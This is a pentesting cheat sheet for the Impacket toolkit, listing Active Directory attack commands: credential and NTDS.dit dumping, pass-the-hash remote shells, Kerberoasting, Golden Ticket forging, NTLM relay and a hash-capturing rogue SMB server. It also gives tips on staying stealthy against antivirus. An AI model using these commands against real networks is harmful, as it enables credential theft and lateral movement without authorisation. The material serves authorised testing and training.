root@sparrow:~/writeups$ cat impacket.md
// Active Directory
Impacket
21 Jul 2026
· 3 min read
Impacket is a collection of Python scripts that natively implement network protocols such as SMB, MSRPC, WMI and Kerberos. It is the go-to arsenal for attacking Active Directory from Linux: remote shells, credential extraction, roasting and lateral movement, all without relying on a Windows host.
Every Impacket script speaks the protocol directly, so authentication is the pivot: username and password, an NTLM hash with -hashes for pass-the-hash, or a Kerberos ticket with -k. Picking the right executor (psexec, wmiexec, smbexec or dcomexec) matters because each uses a different mechanism and leaves a different footprint on the endpoint.
1. Beginner level — shells, dumps and roasting

| Command | What it does |
|---|---|
secretsdump.py dom/user:pass@<t> | Dumps hashes and secrets from the system |
psexec.py dom/user:pass@<t> | PsExec-style remote shell |
wmiexec.py dom/user:pass@<t> | Remote shell via WMI |
smbexec.py dom/user:pass@<t> | Remote shell via SMB |
GetNPUsers.py dom/ -usersfile u.txt | AS-REP Roasting against a list of users |
GetUserSPNs.py dom/user:pass | Enumerates SPNs for Kerberoasting |
smbclient.py dom/user:pass@<t> | Interactive SMB client (FTP-style) |
lookupsid.py dom/user:pass@<t> | Enumerates users/groups by SID bruteforce |
samrdump.py dom/user:pass@<t> | Enumerates users via the SAMR protocol |
rpcdump.py <t> | Enumerates the exposed RPC services |
ntlmrelayx.py -t <t> | Relays captured NTLM authentication |
mssqlclient.py dom/user:pass@<t> | Interactive client for SQL Server |
reg.py dom/user:pass@<t> | Queries and modifies the remote registry |
ticketer.py -nthash <h> -domain-sid <sid> | Generates a Kerberos Golden Ticket |
2. Advanced level — DCSync, tickets and relay

| Command | What it does |
|---|---|
secretsdump.py -just-dc dom/user:pass@<t> | Dumps only the DC's NTDS.dit (DCSync) |
GetUserSPNs.py dom/user:pass -request | Requests and displays crackable TGS tickets |
GetNPUsers.py dom/ -usersfile u.txt -no-pass | AS-REP Roasting without prior authentication |
secretsdump.py -hashes LM:NT dom/user@<t> | Authenticates with an NTLM hash (pass-the-hash) |
psexec.py -hashes LM:NT dom/user@<t> | Remote shell authenticating with a hash |
ticketer.py -nthash <h> -domain-sid <s> -domain d u | Builds a customized Golden Ticket |
raiseChild.py dom-hijo/user:pass | Escalates from child domain to the full forest |
secretsdump.py -sam s.hive -system sy.hive LOCAL | Extracts hashes from local SAM/SYSTEM files |
wmiexec.py -k dom/user@<t> | Executes authenticating via Kerberos |
ntlmrelayx.py -t <t> -smb2support | Relays NTLM forcing SMB2 support |
getST.py -spn <spn> dom/user:pass | Requests a Service Ticket (S4U2Self) |
dcomexec.py dom/user:pass@<t> | Remote shell via DCOM |
addcomputer.py dom/user:pass -computer-name PC$ | Adds a computer to the domain |
karmaSMB.py -smb2support archivo.txt | Stands up a rogue SMB server to capture hashes |
3. Details people miss
- The target format is always
domain/user:password@target; dropping the domain or flipping the slash is the most common mistake and causes authentication failures that are hard to diagnose. - For pass-the-hash with
-hashesyou must pass the fullLM:NT; if you only have the NT, pad the LM part withaad3b435b51404eeaad3b435b51404ee(the empty hash). psexec.pycreates a service and often trips antivirus;wmiexec.pyanddcomexec.pyare much stealthier because they never touch disk, so weigh that when choosing an executor.- For Kerberos techniques (
-k, Golden Tickets, S4U) the clock matters: more than 5 minutes of skew with the DC triggers KRB_AP_ERR_SKEW errors, so sync withntpdatefirst. ntlmrelayx.pywill not work against hosts that enforce SMB signing; check signing beforehand and remember you cannot relay an authentication back to the same originating host.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.